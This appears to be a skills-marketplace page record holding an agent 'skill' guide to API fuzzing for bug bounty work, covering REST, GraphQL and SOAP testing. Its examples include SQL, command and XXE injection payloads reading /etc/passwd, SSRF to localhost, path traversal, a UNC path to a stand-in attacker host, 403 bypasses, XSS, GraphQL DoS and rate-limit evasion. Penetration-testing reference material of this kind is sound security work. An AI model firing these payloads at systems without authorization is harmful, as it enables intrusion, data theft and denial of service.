[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6G2874MWS27HXCEMMGR7YT2":3,"skill-same:01M6G2874MWS27HXCEMMGR7YT2":82},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":60,"commitSha":61,"skillDirectory":62,"forksCount":14,"repositoryHtmlUrl":63,"repositoryHomepageUrl":6,"ownerHtmlUrl":64,"ownerBlogUrl":65,"ownerDescription":66,"updatedAt":67,"install":68,"resources":81},"01M6G2874MWS27HXCEMMGR7YT2","api-fuzzing-bug-bounty",null,"This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug b...","reikiplanet\u002Fdaoskills","reikiplanet","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F96377599?v=4","01M6CVWCMD740YHQDK7E9QYBW4","Reiki Planet","01M6CVWCS4KXVA2CWFVJ43EAXK",0,"MIT","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fdevelopment\u002Fapi-fuzzing-bug-bounty\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"fuzzing","bug","bug bounty","api fuzzing bug bounty","api","penetration","testing","rest api","api security","community","user","find","idor","GraphQL","REST","penetration testing","test","vulnerabilities","security","2026-11-10 10:12:30",false,"---\nname: api-fuzzing-bug-bounty\ndescription: \"This skill should be used when the user asks to \\\"test API security\\\", \\\"fuzz APIs\\\", \\\"find IDOR vulnerabilities\\\", \\\"test REST API\\\", \\\"test GraphQL\\\", \\\"API penetration testing\\\", \\\"bug b...\"\nmetadata:\n  author: zebbern\n  version: \"1.1\"\nrisk: unknown\nsource: community\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs\u002FPrerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST\u002FGraphQL\u002FSOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs\u002FDeliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON\u002FXML\u002FURL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger\u002FOpenAPI documentation\n\u002Fswagger.json\n\u002Fopenapi.json\n\u002Fapi-docs\n\u002Fv1\u002Fapi-docs\n\u002Fswagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https:\u002F\u002Ftarget.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n\u002Fapi\u002Fmobile\u002Flogin\n\u002Fapi\u002Fv3\u002Flogin\n\u002Fapi\u002Fmagic_link\n\u002Fapi\u002Fadmin\u002Flogin\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET \u002Fapi\u002Fusers\u002F1234 → GET \u002Fapi\u002Fusers\u002F1235\n\n# Even if ID is email-based, try numeric\n\u002F?user_id=111 instead of \u002F?user_id=user@mail.com\n\n# Test \u002Fme\u002Forders vs \u002Fuser\u002F654321\u002Forders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=\u003CLEGIT>&id=\u003CVICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n\u002Fapi\u002Fget_profile?user_id=\u003Cvictim>&user_id=\u003Clegit>\n{\"user_id\":\u003Clegit_id>,\"user_id\":\u003Cvictim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com\u002Fendpoint?name=file.txt;ls%20\u002F\n```\n\n**XXE Injection:**\n\n```xml\n\u003C!DOCTYPE test [ \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=a.png\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=C:\\inetpub\\wwwroot\\web.config\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET \u002Fapi\u002Fv1\u002Fusers\u002F1\nPOST \u002Fapi\u002Fv1\u002Fusers\u002F1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F1\nDELETE \u002Fapi\u002Fv1\u002Fusers\u002F1\nPATCH \u002Fapi\u002Fv1\u002Fusers\u002F1\n\n# Switch content type\nContent-Type: application\u002Fjson → application\u002Fxml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n\u002Fgraphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL\u002FNoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp:\u002F\u002Ftarget.com\u002Fgraphql?query={user(name:\"\u003Cscript>alert(1)\u003C\u002Fscript>\"){id}}\n\n# URL-encoded XSS\nhttp:\u002F\u002Ftarget.com\u002Fexample?id=%C\u002Fscript%E%Cscript%Ealert('XSS')%C\u002Fscript%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403\u002F401, try these bypasses:\n\n```bash\n# Original blocked request\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata → 403\n\n# Bypass attempts\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata.json\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata?\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata\u002F\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata??\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%20\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%09\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata#\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata&details\n\u002Fapi\u002Fv1\u002Fusers\u002F..;\u002Fsensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n\u003C!-- LFI via PDF export -->\n\u003Ciframe src=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" height=1000 width=800>\n\n\u003C!-- SSRF via PDF export -->\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\n\u003C!-- Port scanning -->\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n\n\u003C!-- IP disclosure -->\n\u003Cimg src=\"https:\u002F\u002Fiplogger.com\u002Fyourcode.gif\"\u002F>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n\u002Fapi\u002Fnews?limit=100\n\n# DoS attempt\n\u002Fapi\u002Fnews?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys\u002Ftokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR \u002F BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin\u002Fdebug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON\u002FXML |\n| HTTP Method Tampering | GET→DELETE\u002FPUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls \u002F` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com\u002FFuzzapi\u002Ffuzzapi |\n| API Fuzzing | API-fuzzer | github.com\u002FFuzzapi\u002FAPI-fuzzer |\n| API Fuzzing | Astra | github.com\u002Fflipkart-incubator\u002FAstra |\n| API Security | apicheck | github.com\u002FBBVA\u002Fapicheck |\n| API Discovery | Kiterunner | github.com\u002Fassetnote\u002Fkiterunner |\n| API Discovery | openapi_security_scanner | github.com\u002Fngalongc\u002Fopenapi_security_scanner |\n| API Toolkit | APIKit | github.com\u002FAPI-Security\u002FAPIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com\u002FDanaEpp\u002F8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com\u002Fdoyensec\u002Finql |\n| GraphQL | GraphCrawler | github.com\u002Fgsmith257-cyber\u002FGraphCrawler |\n| GraphQL | graphw00f | github.com\u002Fdolevf\u002Fgraphw00f |\n| GraphQL | clairvoyance | github.com\u002Fnikitastupin\u002Fclairvoyance |\n| GraphQL | batchql | github.com\u002Fassetnote\u002Fbatchql |\n| GraphQL | graphql-cop | github.com\u002Fdolevf\u002Fgraphql-cop |\n| Wordlists | SecLists | github.com\u002Fdanielmiessler\u002FSecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io\u002FSwagger-EZ |\n| Swagger Routes | swagroutes | github.com\u002Famalmurali47\u002Fswagroutes |\n| API Mindmap | MindAPI | dsopas.github.io\u002FMindAPI\u002Fplay |\n| JSON Paths | json2paths | github.com\u002Fs0md3v\u002Fdump\u002Ftree\u002Fmaster\u002Fjson2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (\u002Fv1, \u002Fv2, \u002Fv3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12345\nAuthorization: Bearer \u003Ctoken>\n\n# Modified request (other user's data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12346\nAuthorization: Bearer \u003Ctoken>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fgraphql \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs\u002FPrerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST\u002FGraphQL\u002FSOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs\u002FDeliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON\u002FXML\u002FURL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger\u002FOpenAPI documentation\n\u002Fswagger.json\n\u002Fopenapi.json\n\u002Fapi-docs\n\u002Fv1\u002Fapi-docs\n\u002Fswagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https:\u002F\u002Ftarget.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n\u002Fapi\u002Fmobile\u002Flogin\n\u002Fapi\u002Fv3\u002Flogin\n\u002Fapi\u002Fmagic_link\n\u002Fapi\u002Fadmin\u002Flogin\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET \u002Fapi\u002Fusers\u002F1234 → GET \u002Fapi\u002Fusers\u002F1235\n\n# Even if ID is email-based, try numeric\n\u002F?user_id=111 instead of \u002F?user_id=user@mail.com\n\n# Test \u002Fme\u002Forders vs \u002Fuser\u002F654321\u002Forders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=\u003CLEGIT>&id=\u003CVICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n\u002Fapi\u002Fget_profile?user_id=\u003Cvictim>&user_id=\u003Clegit>\n{\"user_id\":\u003Clegit_id>,\"user_id\":\u003Cvictim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com\u002Fendpoint?name=file.txt;ls%20\u002F\n```\n\n**XXE Injection:**\n\n```xml\n\u003C!DOCTYPE test [ \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=a.png\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=C:\\inetpub\\wwwroot\\web.config\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET \u002Fapi\u002Fv1\u002Fusers\u002F1\nPOST \u002Fapi\u002Fv1\u002Fusers\u002F1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F1\nDELETE \u002Fapi\u002Fv1\u002Fusers\u002F1\nPATCH \u002Fapi\u002Fv1\u002Fusers\u002F1\n\n# Switch content type\nContent-Type: application\u002Fjson → application\u002Fxml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n\u002Fgraphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL\u002FNoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp:\u002F\u002Ftarget.com\u002Fgraphql?query={user(name:\"\u003Cscript>alert(1)\u003C\u002Fscript>\"){id}}\n\n# URL-encoded XSS\nhttp:\u002F\u002Ftarget.com\u002Fexample?id=%C\u002Fscript%E%Cscript%Ealert('XSS')%C\u002Fscript%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403\u002F401, try these bypasses:\n\n```bash\n# Original blocked request\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata → 403\n\n# Bypass attempts\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata.json\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata?\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata\u002F\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata??\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%20\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%09\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata#\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata&details\n\u002Fapi\u002Fv1\u002Fusers\u002F..;\u002Fsensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n\u003C!-- LFI via PDF export -->\n\u003Ciframe src=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" height=1000 width=800>\n\n\u003C!-- SSRF via PDF export -->\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\n\u003C!-- Port scanning -->\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n\n\u003C!-- IP disclosure -->\n\u003Cimg src=\"https:\u002F\u002Fiplogger.com\u002Fyourcode.gif\"\u002F>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n\u002Fapi\u002Fnews?limit=100\n\n# DoS attempt\n\u002Fapi\u002Fnews?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys\u002Ftokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR \u002F BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin\u002Fdebug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON\u002FXML |\n| HTTP Method Tampering | GET→DELETE\u002FPUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls \u002F` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com\u002FFuzzapi\u002Ffuzzapi |\n| API Fuzzing | API-fuzzer | github.com\u002FFuzzapi\u002FAPI-fuzzer |\n| API Fuzzing | Astra | github.com\u002Fflipkart-incubator\u002FAstra |\n| API Security | apicheck | github.com\u002FBBVA\u002Fapicheck |\n| API Discovery | Kiterunner | github.com\u002Fassetnote\u002Fkiterunner |\n| API Discovery | openapi_security_scanner | github.com\u002Fngalongc\u002Fopenapi_security_scanner |\n| API Toolkit | APIKit | github.com\u002FAPI-Security\u002FAPIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com\u002FDanaEpp\u002F8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com\u002Fdoyensec\u002Finql |\n| GraphQL | GraphCrawler | github.com\u002Fgsmith257-cyber\u002FGraphCrawler |\n| GraphQL | graphw00f | github.com\u002Fdolevf\u002Fgraphw00f |\n| GraphQL | clairvoyance | github.com\u002Fnikitastupin\u002Fclairvoyance |\n| GraphQL | batchql | github.com\u002Fassetnote\u002Fbatchql |\n| GraphQL | graphql-cop | github.com\u002Fdolevf\u002Fgraphql-cop |\n| Wordlists | SecLists | github.com\u002Fdanielmiessler\u002FSecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io\u002FSwagger-EZ |\n| Swagger Routes | swagroutes | github.com\u002Famalmurali47\u002Fswagroutes |\n| API Mindmap | MindAPI | dsopas.github.io\u002FMindAPI\u002Fplay |\n| JSON Paths | json2paths | github.com\u002Fs0md3v\u002Fdump\u002Ftree\u002Fmaster\u002Fjson2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (\u002Fv1, \u002Fv2, \u002Fv3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12345\nAuthorization: Bearer \u003Ctoken>\n\n# Modified request (other user's data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12346\nAuthorization: Bearer \u003Ctoken>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fgraphql \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":56,"source":41,"metadata":57,"description":7},"unknown",{"author":58,"version":59},"zebbern","1.1","master","dff58085da947e81e8418c922055644bf0082b1b","skills\u002Fdevelopment\u002Fapi-fuzzing-bug-bounty","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills","https:\u002F\u002Fgithub.com\u002Freikiplanet","https:\u002F\u002Fwww.reiki-planet.com","Reiki Planet Game","2026-03-29 06:02:29",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":80},[70,73,76],{"tool":71,"command":72},"npx","npx skills add reikiplanet\u002Fdaoskills --skill api-fuzzing-bug-bounty",{"tool":74,"command":75},"bunx","bunx skills add reikiplanet\u002Fdaoskills --skill api-fuzzing-bug-bounty",{"tool":77,"command":78},"pnpm","pnpm dlx skills add reikiplanet\u002Fdaoskills --skill api-fuzzing-bug-bounty","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fdevelopment\u002Fapi-fuzzing-bug-bounty\u002FSKILL.md",true,[],[83,109,121,136,155,177],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":51},"01M6G614JTEQJHPT8AKK3YQ18S","web-games","Web browser game development principles. Framework selection, WebGPU, optimization, PWA.","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fweb-games\u002FSKILL.md",[],[90,91,92,93,94,95,41,96,97,98,99,100,101,102,103,104,105,106,107,108],"games","web games","web","grep","principles","selection","framework selection","edit","write","read","pwa","game","web browser","game development","Optimization","framework","browser","development","webgpu",{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":51},"01M6G611H2YGV0GZFP90D38ZMJ","vr-ar","VR\u002FAR development principles. Comfort, interaction, performance 